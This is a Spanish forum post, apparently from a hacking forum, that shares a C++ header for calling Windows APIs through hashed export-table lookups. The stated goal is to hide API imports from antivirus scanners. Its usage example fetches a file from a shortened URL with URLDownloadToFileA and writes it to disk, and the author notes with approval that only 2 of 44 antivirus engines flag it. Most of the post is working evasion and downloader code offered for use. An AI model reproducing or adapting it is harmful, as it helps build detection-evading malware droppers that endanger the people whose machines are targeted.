Código
#ifndef CRYPTAPI #define CRYPTAPI struct FNV1a{ template <size_t N> __forceinline static DWORD hash(const char (&str)[N]){ return (hash<N-1>((const char(&)[N-1])str)^str[N-1]) * 16777619u; }; template <> __forceinline static DWORD hash<1>(const char (&str)[1]){ return (2166136261u^str[0]) * 16777619u; }; __forceinline static DWORD hash(char* str){ DWORD r = 2166136261u; do{ r ^= *str; r *= 16777619u; }while(*str++); return r; }; }; struct CUSTOM{ template <size_t N> __forceinline static DWORD hash(const char (&str)[N]){ return ((hash<N-1>((const char(&)[N-1])str) ^ (str[N-1] << 24)) >> 2); }; template <> __forceinline static DWORD hash<1>(const char (&str)[1]){ return (str[0]<<24)>>2; }; __forceinline static DWORD hash(char* str){ DWORD r = 0; do{ r ^= (*str << 24); r >>= 2; }while(*str++); return r; }; }; template <class ret, class hashFnc = FNV1a> class invoke{ private: char* base; DWORD FuncHash; public: template <size_t N, size_t M> invoke(const char (&DLL)[N], const char (&Func)[M]){ base = (char*)LoadLibraryA(DLL); FuncHash = hashFnc::hash<M>(Func); }; ret operator()(int numArgs, ...){ BYTE* dirApi; IMAGE_DOS_HEADER* IDH = (IMAGE_DOS_HEADER*)base; IMAGE_NT_HEADERS* INH = (IMAGE_NT_HEADERS*)(base + IDH->e_lfanew); IMAGE_OPTIONAL_HEADER* IOH = &INH->OptionalHeader; IMAGE_DATA_DIRECTORY* IDE = (IMAGE_DATA_DIRECTORY*)(&IOH->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); IMAGE_EXPORT_DIRECTORY* IED = (IMAGE_EXPORT_DIRECTORY *)(base + IDE->VirtualAddress); void** FTABLE = (void **)(base + IED->AddressOfFunctions); WORD* OTABLE = (WORD *)(base + IED->AddressOfNameOrdinals); char** NTABLE = (char **)(base + IED->AddressOfNames); for (DWORD i = 0; i <= IED->NumberOfNames; i++){ if (hashFnc::hash(base + (DWORD)NTABLE[i]) == FuncHash){ dirApi = (BYTE*)(base + (DWORD)FTABLE[OTABLE[i]]); break; } } va_list listaArgs; void** args; va_start(listaArgs, numArgs); args = &va_arg(listaArgs, void*); for(int n=numArgs-1; n>=0; n--){ void* temp = args[n]; __asm push [temp] } va_end(listaArgs); __asm call dirApi }; }; #endif
Forma de realizar la llamada:
Código:
invoke<%TIPO_DE_RETORNO%,%ALGORITMO_USADO%>(%NOMBRE_DLL%,%NOMBRE_FUNCION%)(%N_PARAMETROS%,%PARAMETRO1%,%PARAMETRO2%,...,%PARAMETRON%);
Ejemplo de uso:
Código
2/44 AV lo detectan... Nada mal teniendo en cuenta que ni URLMON ni http:// va ofuscado/cifrado.
#pragma comment(linker,"/ENTRY:main") #include <Windows.h> #include "cryptAPI.hpp" void main(){ invoke<void, FNV1a>("URLMON", "URLDownloadToFileA")(5, 0, "http://goo.gl/veps2", "C:/test.png", 0, 0); invoke<BOOL, FNV1a>("KERNEL32", "ExitProcess")(1, 0); }
Thread original:
Código:
http://foro.h-sec.org/programacion/(template)-cryptapi-cifra-la-llamada-a-las-apis-d